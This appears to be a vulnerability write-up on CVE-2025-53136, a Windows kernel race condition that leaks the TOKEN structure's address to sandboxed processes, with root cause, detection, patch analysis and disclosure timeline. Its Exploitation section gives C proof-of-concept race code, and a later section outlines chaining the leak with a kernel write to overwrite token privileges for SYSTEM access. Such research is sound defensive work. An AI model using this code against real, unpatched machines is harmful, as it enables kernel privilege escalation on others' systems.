CVE-2025-53136 — NT Kernel TOKEN Address Leak via TOCTOU (KASLR Defeat)

Last updated: 2026-04-11
Severity: Medium-High
Component: ntoskrnl.exe (NtQueryInformationToken(TokenAccessInformation)RtlSidHashInitialize)
Bug Class: TOCTOU Race Condition → Information Disclosure (Kernel Address Leak)
Privilege Escalation: Combined with AAW: User → SYSTEM (via TOKEN.Privileges overwrite)
Scope: Low Integrity Level, AppContainer — works from heavily sandboxed contexts
Patch: August 2025 (assigned CVE-2025-53136)
Related: Primitives, Race Conditions, Cve 2024 43511
Tags: info-leak, race-condition, kernel-mode, aslr-bypass

Vulnerability Summary

The October 2024 patch for CVE-2024-43511 (a TOCTOU in Windows kernel) introduced a new bug. The fix changed RtlSidHashInitialize() to take a pointer from the TOKEN structure (specifically the UserAndGroups field pointer) as its first parameter and store it into a user-supplied output buffer before performing hash initialization. A small but exploitable time window exists between the pointer write and the point where the caller function overwrites that buffer location — long enough to race and read the stored kernel pointer. The result: a reliable KASLR defeat primitive callable from Low IL and AppContainer, exposing the exact kernel address of the calling process’s TOKEN structure.

Root Cause Analysis

Background: CVE-2024-43511

CVE-2024-43511 was a TOCTOU race condition where a user-mode buffer was read twice (check + use) with an opportunity for the attacker to change the value between reads. The patch replaced the user-buffer read with a kernel-side read from the TOKEN structure.

The New Bug

The patch reads TOKEN.UserAndGroups (a kernel pointer) as the first argument to RtlSidHashInitialize():

NtQueryInformationToken(TokenAccessInformation) →
    [calls RtlSidHashInitialize] →
        first_param = TOKEN->UserAndGroups pointer  (kernel address)
        third_param = user_supplied_buffer           (attacker writes here: kernel addr)
        RtlSidHashInitialize stores first_param into third_param
        [small window: kernel addr is readable at user_supplied_buffer]
        caller function overwrites third_param at same offset

The caller function eventually replaces the stored pointer with something else, closing the window. But the window is wide enough to win consistently.

Race Setup

Thread 1 (reader): 
    while (true) { read user_buffer[target_offset]; if (val > 0xffff000000000000) break; }
    → captured leaked kernel TOKEN.UserAndGroups pointer

Thread 2 (syscall):
    while (true) { NtQueryInformationToken(hToken, TokenAccessInformation, buffer, size, &retlen); }
    → repeatedly calls through the vulnerable path

Result: TOKEN.UserAndGroups kernel address is captured in userland before it is overwritten. UserAndGroups is a pointer within the TOKEN structure, so its value can be used to calculate TOKEN base address and from there the EPROCESS chain.

Why It Matters

  • Works from Low IL and AppContainer — the most sandboxed user-mode contexts on Windows
  • Fills the hole left by the Win11 24H2 removal of NtQuerySystemInformation(SystemModuleInformation) KASLR leaks
  • Any token handle works — OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)
  • When chained with a write primitive (e.g., a separate AAW vulnerability): write to TOKEN.Privileges at tokenAddr + offset → LPE

Exploitation

#define NUM_THREADS 2
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);

ULONG_PTR leakBuffer[128] = {0};
ULONG returnLen = 0;
ULONG_PTR leaked = 0;

// Thread 1: continuously read the target offset
DWORD WINAPI ReaderThread(LPVOID param) {
    while (!leaked) {
        ULONG_PTR val = *(volatile ULONG_PTR*)((BYTE*)leakBuffer + TARGET_OFFSET);
        if (val > 0xffff000000000000ULL) {
            leaked = val;
        }
    }
    return 0;
}

// Thread 2: repeatedly trigger NtQueryInformationToken
DWORD WINAPI SyscallThread(LPVOID param) {
    while (!leaked) {
        NtQueryInformationToken(hToken, TokenAccessInformation, leakBuffer, sizeof(leakBuffer), &returnLen);
    }
    return 0;
}

Reliability: The time window is wide enough that spinning both threads in a tight loop succeeds “almost every time.” No special timing or synchronization primitives needed beyond the tight loop.

Output: leaked value is TOKEN.UserAndGroups — a pointer into the token structure itself. Arithmetic to recover TOKEN base, then EPROCESS.

Primitive Scope

This is a pure information disclosure — it does not by itself escalate privileges. The value is:

  1. TOKEN address derivation: UserAndGroups is a field in _TOKEN.UserAndGroups — pointer arithmetic gives the TOKEN base.
  2. EPROCESS derivation: From TOKEN base → read TOKEN.AuthenticationId or walk token manager structures → EPROCESS address.
  3. Chain with AAW: Once you have the TOKEN address and a kernel write primitive, write 0xFFFFFFFFFFFFFFFF to TOKEN.Privileges.Present and .Enabled → full privilege escalation.

Windows Version Notes

  • Primary target: Windows 11 24H2 and later (post-NtQuerySystemInformation patch)
  • Also works: Earlier Windows versions (the race condition exists wherever the Oct 2024 CVE-2024-43511 patch is applied)
  • Patched: CVE-2025-53136 assigned August 1, 2025; fixed in August 2025 Patch Tuesday

Detection

  • Monitor for paired reader+writer threads tightly looping NtQueryInformationToken with TokenAccessInformation class
  • Unusual NtQueryInformationToken call frequency (thousands of calls/sec per thread)
  • Works from AppContainer — detection at kernel level (ETW) more reliable than userland

Patch Analysis

The fix eliminates the window by ensuring the kernel pointer is never transiently stored in the user-supplied output buffer. Likely moved to a kernel-internal temporary or rewrote the flow to avoid the write-then-overwrite pattern.

Disclosure Timeline

  • 2025-04-08: Reported to Microsoft
  • 2025-04-09: Acknowledged
  • 2025-04-22: Incorrectly marked as duplicate, closed
  • 2025-04-22: Researcher tweeted; Microsoft reopened
  • 2025-04-25: Confirmed valid
  • 2025-04-29: Confirmed in-scope
  • 2025-08-01: CVE-2025-53136 assigned

References

  • hieu.q + voidsec (Crowdfense), “NT OS Kernel Information Disclosure Vulnerability - CVE-2025-53136”, crowdfense.com, 2025-09-11
  • CVE-2024-43511 — the Oct 2024 patch that introduced this bug